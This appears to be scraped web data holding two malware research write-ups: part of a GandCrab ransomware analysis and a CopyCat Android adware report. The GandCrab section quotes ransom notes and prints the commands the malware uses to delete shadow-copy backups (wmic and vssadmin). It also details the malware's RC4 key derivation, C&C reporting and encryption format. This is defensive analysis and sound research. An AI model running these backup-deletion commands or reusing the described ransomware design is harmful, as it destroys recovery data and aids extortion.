TOKEN_VAL is a 4-digit string which is embedded into the GandCrab executable, and is likely to be the affiliate id. The token is embedded in the MS-DOS stub program instead of the word “this” (so for example, viewing the file with an hex editor, you might see something like 1023 program cannot be run in DOS mode).

\n

\"\"

\n

Figure 10: Embedded token. Hi there, threat actor #1020!

\n

ENCRYPTED_REPORT is obtained by taking a constructed victim report string, encrypting it using RC4 with a hardcoded key and BASE64-encoding the result. While the encryption process is the same, the level of obfuscation involved is different: GandCrab 1 uses a straightforward hardcoded key while GandCrab 2 constructs the key in a more roundabout way, by computing CRC32(“popkadurak”)||europol.

\n

The constructed victim report string has the standard form of parameters being passed in a POST request body, i.e. param1=val1&param2=val2&…. The parameters sent during this check-in are detailed below.

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
ParameterNote
Actionalways takes the value call.
ipThe victim’s IP address, resolved using a call to an external “What is my IP” service at ipv4bot.whatismyipaddress.com.
pc_usercurrent user name.
pc_groupcurrent domain name.
pc_languser locale.
pc-keyb1 if the user’s keyboard language is Russian, 0 otherwise.
os_majorOperating system name (e.g. Windows 7 Starter).
os_bitOperating System Architecture (e.g. x64).
ransom_idAs detailed above, equal to volume_serial_number||CRC32(volume_serial_number||processor_name).
hdd[DRIVE_LETTER]:[DRIVE_TYPE]_[TOTAL_SPACE]/[FREE_SPACE]here TOTAL_SPACE and FREE_SPACE are given in bytes. DRIVE_TYPE is typically FIXED.
pub_keyGenerated Public Key, exported to a PUBLICKEYBLOB.
priv_keyGenerated Private Key, exported to a PRIVATEKEYBLOB
versionhardcoded value. Probably the version of the ransomware. Equal to 1.1 in this early sample.
\n

Hiding in the C&C check-in, one can find:

\n

Cryptographic Flaw II: Publicized Private Key

\n

This flaw is still present in GandCrab 2.

\n

Asymmetric encryption became so popular with ransomware authors in the first place because it is, well, asymmetric. Encryption can be performed using a public key, embedded in the executable in plain sight; decryption can then only be performed with the private key. If in any application you are sending a string which includes &priv_key=…, you are doing something wrong until proven otherwise.

\n

It’s true that the traffic is encrypted with a hardcoded RC4 key, but that’s more of a stumbling block than a real cryptographic barrier. This key is hardly a well-guarded secret (for one, it is embedded in the sample that got you infected). Once you get hold of this key, if you also happen to have the traffic logs recording the check-in with the C&C server, you have all you need to decrypt your files. Unfortunately, that’s a pretty big if: the average user does not keep traffic logs. This flaw will only possibly help a very niche audience, and taking advantage of it is a long shot.

\n

Still, if you were hit with GandCrab 2 and you have a traffic capture of the above C&C check-in, you may be able to take advantage of this method to decrypt your files.

\n

\"\"

\n

Figure 11: Original hardcoded RC4 key, used to encrypt traffic in GandCrab 1.

\n

\"\"

\n

Figure 12: There are maybe 3 situations where this image would depict
\na reasonable course of action, and this isn’t one of them.

\n

File System Iteration

\n

GandCrab iterates over all drive letters from A to Z and only skips drives where GetDriveType explicitly resolves to DRIVE_REMOVABLE or DRIVE_CDROM (in some cases, this induces a message box with the hilarious error Please Insert Disk into Drive A:). Iteration on a drive is done by creating a new worker thread which recurses into all directories in the drive using FindFirstFile and FindNextFile, then applies GandCrab’s encryption logic to each victim file (this is discussed below in more detail). Once all threads are launched, GandCrab waits for them to finish execution (WaitForMultipleObjects) before proceeding to the final C&C check-in. GandCrab leaves its ransom note in every directory it recurses into during encryption. The ransom note in both versions is hard-coded into the GandCrab executable, obfuscated using a simple XOR with 0x05. This is the ransom note for GandCrab 1:

\n

——————————-= GANDCRAB =———————————————–

\n

Attention!
\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB
\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.
\nThe server with your key is in a closed network TOR. You can get there by the following ways:
\n1. Download Tor browser – https://www.torproject.org/
\n2. Install Tor browser
\n3. Open Tor Browser
\n4. Open link in tor browser: https://gdcbghvjyqy7jclk.onion/{USERID}
\n5. Follow the instructions on this page
\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:
\n1. https://gdcbghvjyqy7jclk.onion.top/{USERID}
\n2. https://gdcbghvjyqy7jclk.onion.casa/{USERID}
\n3. https://gdcbghvjyqy7jclk.onion.guide/{USERID}
\n4. https://gdcbghvjyqy7jclk.onion.rip/{USERID}
\n5. https://gdcbghvjyqy7jclk.onion.plus/{USERID}

\n

On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.

\n

DANGEROUS!
\nDo not try to modify files or use your own private key – this will result in the loss of your data forever!

\n

———————————-GANDCRAB—————————————————-

\n

The note for GandCrab 2 is identical, except that the above-described method to contact the crooks using a regular browser has been replaced with the following text:

\n

If you can’t download TOR and use it, or in your country TOR blocked, read it:
\n1. Visit https://tox.chat/download.html
\n2. Download and install qTOX on your PC.
\n3. Open it, click “New Profile” and create profile.
\n4. Search our contact – 6C5AD4057E594E090E0C987B3089F74335DA75F04B7403E0575663C26134956917D193B195A

\n

In message please write your ID and wait our answer: {USERID}

\n

 

\n

It is worth noting that in version 1.0.0r, the extension quoted in the ransom note was still “.GDCB”, even though the actual encrypted extension was changed to .CRAB. Evidently, life is too short to do a #define ENCRYPTED_EXTENSION. This was later fixed in version kto_zaskrinit_tot_pidor.

\n

If the call to FindFirstFile fails, the recursive function, for lack of a better sane default, returns the value 0xDEADBEAF [sic]. The malware does not check for this error value or handle it if it occurs.

\n

Roughly speaking, GandCrab contains a hard-coded whitelist of directories not to recurse into (and therefore, not to encrypt the contents of). To be more precise, it contains two mechanisms of whitelisting directories.

\n

The first mechanism is a list of whitelisted strings; when GandCrab encounters a new directory, it checks whether the directory name appears in any of the strings, and if this is the case, fails to recurse into that directory.

\n

The second mechanism is comparisons against the output of SHGetSpecialFolderPath; GandCrab explicitly evaluates the API return value for various CSIDLS (such as CSIDL_PROGRAM_FILESX86) and, if the current directory is a match, GandCrab again skips the encryption routine and does not recurse further into that directory.

\n

The list of whitelist strings is as follows:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
StringNote
ProgramData
Program FilesFrom the attacker’s point of view, encrypting this folder carries a high risk of breaking something for very little reward. Probably there is no valuable data kept here.
Tor BrowserEssential for reaching the payment page and paying the ransom.
RansomwareIt’s difficult to say for sure what this is for. Possibly during testing the ransomware and source files, notes, et cetera were placed in a folder of this name inside the tested victim machine.
All Users
Local Settings
\n

And the whitelist special folders:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
CSIDL ValueTypical Path
CSIDL_PROGRAM_FILESX86C:\\Program Files (x86)
CSIDL_PROGRAM_FILES_COMMONC:\\Program Files\\Common
CSIDL_WINDOWSC:\\Windows
CSIDL_LOCAL_APPDATAC:\\Documents and Settings\\[username]\\Local Settings\\Application Data
\n

The two versions of GandCrab differ in the way they choose which files to target. GandCrab 1 targets a specific list of file extensions:

\n

1cd, .3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .7z, .7zip, .aac, .ab4, .abd, .acc, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .adp, .ads, .agdl, .ai, .aiff, .ait, .al, .aoi, .apj, .apk, .arw, .ascx, .asf, .asm, .asp, .aspx, .asset, .asx, .atb, .avi, .awg, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt, .bik, .bin, .bkp, .blend, .bmp, .bpw, .bsa, .c, .cash, .cdb, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfg, .cfn, .cgm, .cib, .class, .cls, .cmt, .config, .contact, .cpi, .cpp, .cr2, .craw, .crt, .crw, .cry, .cs, .csh, .csl, .css, .csv, .d3dbsp, .dac, .das, .dat, .db, .db_journal, .db3, .dbf, .dbx, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .def, .der, .des, .design, .dgc, .dgn, .dit, .djvu, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .edb, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fh, .fhd, .fla, .flac, .flb, .flf, .flv, .flvv, .forge, .fpx, .fxg, .gbr, .gho, .gif, .gray, .grey, .groups, .gry, .h, .hbk, .hdd, .hpp, .html, .ibank, .ibd, .ibz, .idx, .iif, .iiq, .incpas, .indd, .info, .info_, .ini, .iwi, .jar, .java, .jnt, .jpe, .jpeg, .jpg, .js, .json, .k2p, .kc2, .kdbx, .kdc, .key, .kpdx, .kwm, .laccdb, .lbf, .lck, .ldf, .lit, .litemod, .litesql, .lock, .log, .ltx, .lua, .m, .m2ts, .m3u, .m4a, .m4p, .m4v, .ma, .mab, .mapimail, .max, .mbx, .md, .mdb, .mdc, .mdf, .mef, .mfw, .mid, .mkv, .mlb, .mmw, .mny, .money, .moneywell, .mos, .mov, .mp3, .mp4, .mpeg, .mpg, .mrw, .msf, .msg, .myd, .nd, .ndd, .ndf, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .ogg, .oil, .omg, .one, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pbf, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .pif, .pl, .plc, .plus_muhd, .pm!, .pm, .pmi, .pmj, .pml, .pmm, .pmo, .pmr, .pnc, .pnd, .png, .pnx, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx,.ppt, .pptm, .pptx, .prf, .private, .ps, .psafe3, .psd, .pspimage, .pst, .ptx, .pub, .pwm, .py, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .qcow, .qcow2, .qed, .qtb, .r3d, .raf, .rar, .rat, .raw, .rdb, .re4, .rm, .rtf, .rvt, .rw2, .rwl, .rwz, .s3db, .safe, .sas7bdat, .sav, .save, .say, .sd0, .sda, .sdb, .sdf, .sh, .sldm, .sldx, .slm, .sql, .sqlite, .sqlite3, .sqlitedb, .sqlite-shm, .sqlite-wal, .sr2, .srb, .srf, .srs, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stl, .stm, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .tax, .tbb, .tbk, .tbn, .tex, .tga, .thm, .tif, .tiff, .tlg, .tlx, .txt, .upk, .usr, .vbox, .vdi, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .vob, .vpd, .vsd, .wab, .wad, .wallet, .war, .wav, .wb2, .wma, .wmf, .wmv, .wpd, .wps, .x11, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xps, .xxx, .ycbcra, .yuv, .zip

\n

Whereas GandCrab 2, in contrast, targets file extensions excluding the following whitelist:

\n

.ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .hlp .icl .icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .themepack .exe .bat .cmd .CRAB .crab .GDCB .gdcb .gandcrab .yassine_lemmou

\n

If you’re wondering about .yassine_lemmou, that’s actually the name of another security researcher who apparently tweeted about ransomware one time too many.

\n

Single File Encryption Routine

\n

This routine is identical across all versions of GandCrab (except for the encrypted file extension, as noted above). GandCrab begins by generating a random 256-bit value and another random 128-bit value (This is done by calling CryptGenRandom and truncating the output).

\n

These values are used, respectively, as a key and an IV for AES encryption. Note that in mainstream use of AES the IV is not supposed to be a secret, but GandCrab’s implementation uses it in that capacity.

\n

GandCrab then constructs a new file using its own homebrew file format, which is described below:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
OffsetFieldNote
0x0ENCRYPTED_FILE_BODYAES-CBC-256(original_file, aes_key, aes_iv)
CIPHERTEXT_LENBYTE ENCRYPTED_AES_KEY[0x100]RSA-2048(aes_key, rsa_public_key)
CIPHERTEXT_LEN+0x100BYTE ENCRYPTED_IV[0x100]RSA-2048(aes_iv, rsa_public_key)
CIPHERTEXT_LEN+0x200QWORD CIPHERTEXT_LEN
CIPHERTEXT_LEN+0x208QWORD PADDINGThe malware writes the previous field to memory with a write length of 0x10 bytes, even though it’s just a qword — probably to maintain alignment. This phantom “high qword” of the target file length is effectively zero-padding. Still, GandCrab supports file sizes of up to 16 exabytes, which should be enough for most purposes.
\n

 

\n

Final C&C Check-In

\n

Once all worker threads encrypting the drives A to Z terminate, GandCrab sends a final check-in to its C&C server, informing it that encryption has been successful and provides various statistics regarding the encryption process. The HTTP request has the exact same format as in the initial C&C check-in (including the headers, requested resource, and so on) — the difference is the encrypted report string in the request body, following data=. Again, the string is in standard HTTP parameter form (param1=val1&ampparam2=val2&…, and a list of the parameters included in the report follows below.

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
ParameterNote
Actionhardcoded “result”.
e_filesNumber of files encrypted
e_sizeTotal size of files encrypted
e_timeTotal time elapsed from beginning of file iteration until encryption was completed (in milliseconds)
\n

 

\n

Deleting the Shadow Files

\n

One final farewell present left by the author is a feature that has become standard in ransomware implementations by now — deletion of the shadow files. Once the final C&C report is sent, GandCrab invokes AllocateAndInitializeSid followed by CheckTokenMembership to see whether the current thread’s impersonation token is a member of the Administrators group (SID S-1-5-32-544). If this check succeeds, GandCrab proceeds to attempt deleting the shadow file backups via one of two methods, depending on whether Windows Management Instrumentation (WMI) is available. If it is, GandCrab uses WMI for the deletion by issuing the folowing command via a ShellExecute: C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete. Else, it attempts to use the more traditional method via vssadmin as seen in e.g. Cryptowall 3: C:\\Windows\\system32cmd.exe /c vssadmin delete shadows /all /quiet.

\n

Check Point’s SandBlast Agent Anti-Ransomware product protects against all variants of the GandCrab ransomware. Additionally, the following Check Point products detect GandCrab:

\n\n

 

\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2018/gandcrab-ransomware-mindset/","tags":[],"score":0.19390641152858734,"topStoryDate":null},{"id":"RS-16396","type":"Research_Publications","name":"How the CopyCat malware infected Android devices around the world","author":null,"date":1499346010000,"description":"  Check Point researchers identified a mobile malware that infected 14 million Android devices, rooting approximately 8 million of them, and earning the hackers behind the campaign approximately $1.5 million in fake ad revenues in two months. The malware, dubbed CopyCat by Check Point mobile threat researchers, uses a novel technique to generate and steal… Click to Read More","content":"

 

\n

Check Point researchers identified a mobile malware that infected 14 million Android devices, rooting approximately 8 million of them, and earning the hackers behind the campaign approximately $1.5 million in fake ad revenues in two months.

\n

The malware, dubbed CopyCat by Check Point mobile threat researchers, uses a novel technique to generate and steal ad revenues. While CopyCat infected users mainly in Southeast Asia, it  spread to more than 280,000 Android users in the United States.

\n

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

\n

Researchers first encountered the malware when it attacked devices at a business protected by Check Point SandBlast Mobile. Check Point retrieved information from the malware’s Command and Control servers, and conducted a full reverse engineering of its inner workings, which are detailed in a comprehensive technical report.

\n

\"AThe CopyCat campaign reached its peak between April and May 2016. Researchers believe the campaign spread via popular apps, repackaged with the malware and downloaded from third party app stores, as well as phishing scams.  There was no evidence that CopyCat was distributed on Google Play, Google’s official app store.

\n

In March 2017, Check Point informed Google about the CopyCat campaign and how the malware operated. According to Google, they were able to quell the campaign, and the current number of infected devices is far lower than it was at the time of the campaign’s peak. Unfortunately, devices infected by CopyCat may still be affected by the malware even today.

\n

 What does CopyCat do?

\n

CopyCat is an extensive campaign that infected  14 million devices globally, rooting 8 million of them, in what researchers describe as an unprecedented success rate. Check Point researchers estimate that the malware generated $1.5 million for the group behind the campaign.

\n

Read the CopyCat research report

\n

CopyCat uses state-of-the-art technology to conduct various forms of ad fraud, similar to previous malware discovered by Check Point, such as  Gooligan, DressCode, and  Skinner. Upon infection, CopyCat first roots the user’s device, allowing the attackers to gain full control of the device, and essentially leaving the user defenseless.

\n

CopyCat then injects code into the Zygote app launching process, allowing the attackers to receive revenues by getting credit for fraudulently installing apps by substituting the real referrer’s ID with their own. In addition, CopyCat abuses the Zygote process to display fraudulent ads while hiding their origin, making it difficult for users to understand what’s causing the ads to pop-up on their screens. CopyCat also installs fraudulent apps directly to the device, using a separate module. These activities generate large amounts of profits for the creators of CopyCat, given the large number of devices infected by the malware.

\n

What’s the big deal about adware?

\n

The preponderance of malware focused on skimming profit from the ad industry, and the ingenious technical approaches deployed, indicate just how lucrative it is for cybercriminals to engage in adware campaigns. But adware poses a significant threat to users and businesses, alike, including:

\n\n

 Adware impacts businesses, too

\n

For these reasons, adware such as CopyCat create risk to both private users and to the enterprise. Attackers need nothing more than a compromised mobile device connected to the corporate network to breach the business’ complete network and gain access to sensitive data. Mobile devices are an endpoint in your network, just like any laptop, and require the same level of protection. Adware that steals credentials to sensitive information, or roots devices and leaves them vulnerable to any type of attack, are exactly what an attacker looking to infiltrate a corporate network seeks.

\n

\"countries 

\n

Who is behind CopyCat?

\n

Surprisingly, several adware families were developed by firms connected to the ad industry. Such was the case with HummingBad and YiSpecter, developed by Yingmob, and the recent example of the Judy malware, developed by Kiniwini. It is unclear who is behind the CopyCat attack, however, there are several connections to MobiSummer, an ad network located in China. It is important to note that while these connections exist, it does not necessarily mean the malware was created by the company, and it is possible the perpetrators behind it used MobiSummer’s code and infrastructure without the firm’s knowledge.

\n

The first connection between the company and the malware is the server, which operates both the malware and some of MobiSummer’s activity. In addition, some of the malware’s code is signed by MobiSummer itself, and some of the remote services used by the malware were created by the company. The malware also refrains from targeting Chinese devices, suggesting the malware developers are Chinese and want to avoid any investigation by local law enforcement, a common tactic in the malware world.

\n

 What’s the impact?

\n

Check Point researchers investigated one of the Command and Control servers, which was active between April and May 2016, and recorded over 14 million infected devices, 8 million of them rooted (54%). Fraudulent ads were display on 3.8 million of the infected devices (26%), while 4.4 million, or 30%, of the infected devices were used to steal credit for installing apps on Google Play. The Command and Control server also stored information collected about the infected devices, including brand, model, OS version, and country. Check Point researchers believe additional Command and Control servers operating CopyCat exist, indicating that the number of infected devices may be significantly larger.

\n

Protect your enterprise   |   Protect your personal device

\n

The revenue generated by the attackers is estimated to be more than $1.5 million, most of which was earned over the course of two months. The nearly 100 million ads displayed by the malware generated approximately $120,000. Since we can measure only how many devices claimed credit for fraudulent installations, and not how many times such an activity took place, we are conservatively assuming that each device has done so only once. Even so, the estimated revenue these actions yielded for the perpetrators is over $660,000. The largest revenue stream came from the 4.9 million fraudulent app installations conducted by the CopyCat, generating over $735,000.

\n

How does the malware operate?

\n

Once installed, the malware lies in waiting until the device is restarted, so that a connection isn’t made between the installation of the app and the malicious activity. Once the device has restarted, CopyCat downloads an “upgrade” pack from an S3 bucket, a web storage service provided by Amazon. This pack contains six common exploits with which the malware attempts to root the device. If successful, CopyCat installs another component to the device’s system directory, an activity which requires root permissions, and establishes persistency, making it difficult to remove.

\n

CopyCat then injects code into the Zygote process, from which all Android apps are launched. Since all apps in Android are processes launched from Zygote, injecting code directly into it allows the malware to infiltrate the activity of all running apps. This is the first adware  discovered using this technique, which was first introduced by the financial malware Triada.

\n

After CopyCat compromises the Zygote process, it injects into the system_server process, and contains all Android services, such as PhoneManager, Packagemanager, etc., including ActivityManager. CopyCat then registers for several events on the system server. The malware uses two tactics to steal ad revenue – displaying fraudulent ads and stealing referrer IDs of apps installed from Google Play.

\n


\n\"a

\n

 

\n

Displaying fraudulent ads

\n

To display fraudulent ads, the malware uses “callActivityOnStart” and “callActivityOnStop,” which are executed each time a device activity launches. When an activity starts, the malware checks three things: whether the user is in China; whether the launched app is one of the predefined list of major apps, such as Facebook and WhatsApp (to avoid interfering with them); and whether enough time has passed since the last ad was displayed. If none of these conditions are met, the malware displays an ad from the ad libraries of Facebook, Admob, or UC. These predefined conditions are meant to minimize the user’s suspicion, while disguising the app that’s the source of the pop-up ads.

\n

 Stealing app installation credits

\n

The second tactic is even more complex, but carries more profits for the perpetrators. Advertisers are paid for displaying ads that lead to the installation of certain apps.

\n

Read the CopyCat research report

\n

CopyCat hooks into the “startActivityLockedStub” in the system_server process, and monitors it to detect the launching of the Google Play process. Once launching the process, CopyCat retrieves the package name of the app that the user is viewing on Google Play, and sends it to its Command and Control server. The server sends back a referrer ID suited for the package name. This referrer ID belongs to the creators of the malware, and will later be used to make sure the revenue for the installation is credited to them.

\n

CopyCat blocks all install_referrer intents and replaces them with its own referrer ID, which was received from the Command and Control server previously.

\n

 Installing fraudulent apps

\n

CopyCat also operates a separate module that conducts fraudulent app installations based on its root permissions. This module operates on a very low level of the Android operating system, taking advantage of Android’s package manager. The package manager monitors specific directories: /system/app and /data/app.

\n

When an APK file appears in one of these directories, the package manager installs it. The malware makes use of this process, and copies the APK files of the fraudulent apps it wants to install to the /data/app directory, from which the package manager will install it. The malware verifies whether the app was installed, and reports the result to the Command and Control server.

\n

\"AHow could CopyCat root so many devices?

\n

CopyCat successfully rooted over 54% of the devices it infected, which is very unusual even with sophisticated malware. CopyCat uses several exploits as part of its operation: CVE-2014-4321, CVE-2014-4324, CVE-2013-6282 (VROOT), CVE-2015-3636 (PingPongRoot), and CVE-2014-3153 (Towelroot). All of these exploits, relevant for Android versions 5 and earlier, are both widely used and very old, with the most recent discovered more than two years ago. Even though patches for these exploits were released, CopyCat successfully used them to root eight million devices. These old exploits are still effective because users patch their devices infrequently, or not at all. Following the QuadRooter vulnerabilities, we learned that 64% of Android users have old security patches, leaving them exposed to attack strategies that have already been patched.

\n

 How to stay protected

\n

Cutting-edge malware such as CopyCat requires advanced protections, capable of identifying and blocking zero-day malware by using both static and dynamic app analysis. Only by examining the malware within context of its operation on a device can successful strategies to block it be created. Users and enterprises should treat their mobile devices just like any other part of their network, and protect them with the best cybersecurity solutions available.

\n

Check Point customers are protected by SandBlast Mobile, and on the network front by Check Point Anti-Bot blade, which provides protection against this threat with the signature: Trojan.AndroidOS.CopyCat.

\n

Protect your enterprise   |   Protect your personal device

\n","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2017/how-the-copycat-malware-infected-android-devices-around-the-world/","tags":[],"score":0.17218363285064697,"topStoryDate":null}],"mapData":null,"topMalwareFamilies":null};